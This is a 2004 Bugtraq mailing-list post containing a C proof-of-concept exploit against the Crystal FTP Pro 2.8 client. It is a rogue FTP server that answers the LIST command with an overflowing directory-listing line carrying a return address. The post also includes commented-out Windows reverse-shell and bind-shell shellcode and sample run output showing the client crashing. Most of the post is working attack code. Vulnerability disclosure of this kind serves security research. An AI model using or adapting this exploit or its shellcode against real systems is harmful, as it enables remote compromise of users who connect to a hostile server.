[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20041223072710.32128.qmail@www.securityfocus.com>
Date: 23 Dec 2004 07:27:10 -0000
From: <cybertronic@....net>
To: bugtraq@...urityfocus.com
Subject: Crystal FTP Pro 2.8 PoC
/*
12/23/2004
NOTES: this piece of code is supposed to be PoC !
-Target Buffer Size: 328-68-4 is about 254 bytes
-RET Addr Space: 0x0012f496 to 0x0012f594
-I tried some register jumps on WINXP PRO SP2
(see offset1 and offset2)
-Suggestions? Mail me! cybertronic@....net
Greetz fly to my girlfriend YASMIN H.
¼
¼M
M ¼MMM
MMm ¼MMMM
M$$MMm ¼MMMMM.
MM$$MMMMm MMMMMMMM
`MM$$MMMMMMm 4MMMM$$MM
MMM$$MMMMMMMMm ´MMMM$$MMM
MMM$$$MMMMMMMMm mMMMM$MMMM
`MMM$$$MMMMMMMm MMMM$MMMM´
MMMM$$$MMMMMMMm MMM$$MMM´
`MMMMMMMMMMMMMm MMMMMMM´
`MMMMMMMMMMMMMm MMMMMM
`MMMMMMMMMMMM MMMMM
`MMMMMMMMMM MMMMM
`MMMMMMMMMMMM
MMMMMMMMMMM
mmMMMMMMMMMMMMMMMMM
mmMMMMMMMMMMMMMMMMMMMMMM
¼MMM#MMMMMMMMMMMMMMMMMMMMm
4MMM<º >MMMMMMMMMMMMMMMMMMMM
MMMMMm_ mMMMMMMMMMMMMMMMMMMMM
4MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM
¼Mn ¼MMMMMMMMMMMMMMMMMMMMMMMMM ¼Mnn
nM `MMMMMMMMMMMMMMMMMMMMMM´ n¼
`¼ MMMMMMMMMMMMMMMMM¼ n´
MMMMMM¼
mtr¼
mMMM nmM mM
mM¼´ M ' M n
mM$ nM n¼MMn¼Ä
4M m ¼M N ¼ ¼`
m¼ `n¼ mM NM´ NM
mM mMm nm M´¼Mļ n¼Mm ¼n xnÄ, ¼ ¼n xnÄ ¼Mm Mn n¼ nM nMm
mM `mMM´ nM M nM ,` ¼n´ y M ¼n´ y nM ¼ nM Ä Ä ¼
M¼ M' ¼Ä M n.,´ nm nM nM n M ¼ Ä ¼ n
MM¼ mM M nM Ä M´ n , nM ¼Ä nM M nM M M M´ M n
MMM¼ M´ nM MÄÄM n¼nN ¼M nM ¼M `¼M´ ´¼ .N nM ¼nM´
M´
n´ cybertronic 2oo5
´ ________________
----------------------/
MMMMMMMMm mMMMMMMM¼
´MM$MMMMMMMMMm mMMMMMMMMM$MM`
MMMMMMMMMMMMMMMm mMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMM
`MMMMMMMMMMMMMMMMMM MMMMMMMMMMM(c)MMMM´
ºÕÍÄúú just want to say love you dad! úúÄÍÕº
---snip---
cybertronic@...onic:~/poc> gcc -o crystal_expl crystal_expl.c
cybertronic@...onic:~/poc> ./crystal_expl 192.168.2.101
### # # ### ### ### ### ### ### # # # ###
# # # # # # # # # # # # # ## # # #
# # # ### ### ### # ### # # # # # # #
# # # # # # # # # # # # # ## # #
### # ### ### # # # # # ### # # # ###
cybertronic@....net
----------(c) 2005----------
Crystal FTP Pro v2.8 PoC
[*] Creating socket...OK!
[*] Listening...OK!
[*] Local IP: 192.168.2.101
[*] Incomming connection from: 192.168.2.102
[*] Sending Welcome Message...OK!
[*] Getting Login Information
--> Reading USER...OK!
--> Reading PASS...OK!
USER LOGGED IN!
[*] Proceeding...
--> Reading cmd...OK!
--> Reading cmd...OK!
--> Reading cmd...OK!
[*] Entering Passive Mode...
[*] Creating socket...OK!
[*] Listening...OK!
[*] Passive connection established!
--> Reading cmd...OK!
[*] User is trying to use "LIST" command
[*] Creating bad packet...OK!
[*] Sending bad packet [328 bytes]...OK!
[*] Confirming...OK!
--> Reading cmd...FAILED! [client crashed]
cybertronic@...onic:~/poc>
---snip---
*/
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
#define PORT 1337
#define PASV 31337
#define BACKLOG 5
/*
//316 bytes
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";
//404 bytes
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
*/
void auth ( int s );
void header ();
void handle_cmd ( int s, int connfd, char* ip );
char* get_cmd ( int s );
int isip ( char* ip );
int
main ( int argc, char* argv[] )
{
int listenfd, connfd;
char* ip;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
if ( argc != 2 )
{
printf ( RED "[!] Usage: %s LOCAL_IP\n" NORMAL, argv[0] );
exit ( 1 );
}
if ( isip ( argv[1] ) != 0 )
{
printf ( RED "[!] Enter Valid IP\n" NORMAL );
exit ( 1 );
}
system ( "clear" );
header ();
printf ( "[*] Creating socket..." );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PORT );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
printf ( "[*] Listening..." );
if ( listen ( listenfd, BACKLOG ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
for ( ; ; )
{
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
if ( ( childpid = fork ( ) ) == 0 )
{
close ( listenfd );
ip = ( char* ) ( argv[1] );
printf ( "[*] Local IP: %s\n", ip );
printf ( "[*]" GREEN " Incomming connection from:\t %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
auth ( connfd );
handle_cmd ( connfd, ( int ) NULL, ip );
}
close ( connfd );
}
}
int
isip ( char* ip )
{
unsigned int a, b, c, d;
sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d );
if ( a < 1 || a > 255 )
return ( 1 );
if ( b < 0 || b > 255 )
return ( 1 );
if ( c < 0 || c > 255 )
return ( 1 );
if ( d < 0 || d > 255 )
return ( 1 );
return ( 0 );
}
void
auth ( int s )
{
char user[32], pass[32], out[128];
printf ( "[*] Sending Welcome Message..." );
bzero ( &out, 128 );
strcpy ( out, "220 cybertronicFTP v0.1\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
printf ( "[*] Getting Login Information\n" );
printf ( YELLOW "--> Reading USER..." NORMAL );
sleep ( 1 );
if ( read ( s, user, 32 ) <= 0 )
{
printf ( RED "FAILED\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
sleep ( 1 );
bzero ( &out, 128 );
strcpy ( out, "331 Anonymous FTP server, send password though.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n" NORMAL );
exit ( 1 );
}
printf ( YELLOW "--> Reading PASS..." NORMAL );
sleep ( 1 );
if ( read ( s, pass, 32 ) <= 0 )
{
printf ( RED "FAILED\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
sleep ( 1 );
bzero ( &out, 128 );
strcpy ( out, "230 Login successful!\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN " USER LOGGED IN!\n" NORMAL );
printf ( "[*] Proceeding...\n" );
}
void
handle_cmd ( int s, int s2, char* ip )
{
int listenfd, connfd;
int i = 1;
int tmp[4];
char* a = NULL;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
char out[128], evil[512], addr[32];
char* cmd;
unsigned long offset1 = 0x77e92828;
unsigned long offset2 = 0x77e6271c;
unsigned long offset3 = 0xdeadc0de;
while ( 1 )
{
cmd = get_cmd ( s );
if ( strncmp ( cmd, "PWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "CWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "TYPE", 4 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "200 Type set to A..\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "PASV", 4 ) == 0 )
{
bzero ( &addr, 32 );
a = (char*)strtok ( ip, "." );
tmp[0] = (int)a;
while ( a != NULL)
{
a = (char*)strtok ( NULL, "." );
tmp[i] = (int)a;
i++;
}
bzero ( &out, 128 );
sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
printf ( "[*] Entering Passive Mode...\n" );
printf ( "[*] Creating socket..." );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PASV );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
printf ( "[*] Listening..." );
if ( listen ( listenfd, 1 ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
close ( listenfd );
printf ( "[*]" GREEN " Passive connection established!\n" );
handle_cmd ( s, connfd, addr );
}
else if ( strncmp ( cmd, "LIST", 4 ) == 0 )
{
printf ( "[*]" GREEN " User is trying to use \"LIST\" command\n" NORMAL );
printf ( "[*] Creating bad packet..." );
bzero ( &evil, 512 );
strcpy ( evil, "-rw-r--r-- 29 Dec 22 13:37 cybertronic." );
memset ( evil+68, 'A', 254 );
strncat ( evil, ( unsigned char * ) &offset1, 4 );
strcat ( evil, "\r\n" );
printf ( GREEN "OK!\n" NORMAL );
bzero ( &out, 128 );
strcpy ( out, "150 Here comes the directory listing.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "FAILED!" NORMAL);
exit ( 1 );
}
printf ( "[*] Sending bad packet [%i bytes]...", strlen ( evil ) );
if ( write ( s2, evil, strlen ( evil ) ) <= 0 )
{
printf ( RED "FAILED!" NORMAL);
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL);
bzero ( &out, 128 );
strcpy ( out, "226 Transfer ok\r\n" );
printf ( "[*] Confirming..." );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "FAILED!" NORMAL);
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL);
close ( s2 );
}
else
{
bzero ( &out, 128 );
strcpy ( out, "550 UNKNOWN COMMAND\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
}
}
char*
get_cmd ( int s )
{
static char cmd[32];
printf ( YELLOW "--> Reading cmd..." NORMAL );
if ( read ( s, cmd, 32 ) <= 0 )
{
printf ( RED "FAILED! [client crashed]" NORMAL);
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
return ( cmd );
}
void
header ()
{
system ( "clear" );
printf ( RED "### " GREEN "# # " YELLOW "### " BLUE "### " RED "### " GREEN "### " YELLOW "### " BLUE "### " RED "# # " GREEN "# " YELLOW "###\n" NORMAL);
printf ( RED "# " GREEN "# # " YELLOW "# # " BLUE "# " RED "# # " GREEN " # " YELLOW "# # " BLUE "# # " RED "## # " GREEN "# " YELLOW "# \n" NORMAL);
printf ( RED "# " GREEN "# # " YELLOW "### " BLUE "### " RED "### " GREEN " # " YELLOW "### " BLUE "# # " RED "# # # " GREEN "# " YELLOW "# \n" NORMAL);
printf ( RED "# " GREEN " # " YELLOW "# # " BLUE "# " RED "# # " GREEN " # " YELLOW "# # " BLUE "# # " RED "# ## " GREEN "# " YELLOW "# \n" NORMAL);
printf ( RED "### " GREEN " # " YELLOW "### " BLUE "### " RED "# # " GREEN " # " YELLOW "# # " BLUE "### " RED "# # " GREEN "# " YELLOW "###\n" NORMAL);
printf ( RED " cybertronic@....net\n" NORMAL );
printf ( RED " ----------(c) 2005----------\n\n" NORMAL );
printf ( "Crystal FTP Pro v2.8 PoC\n\n" );
}
Powered by blists - more mailing lists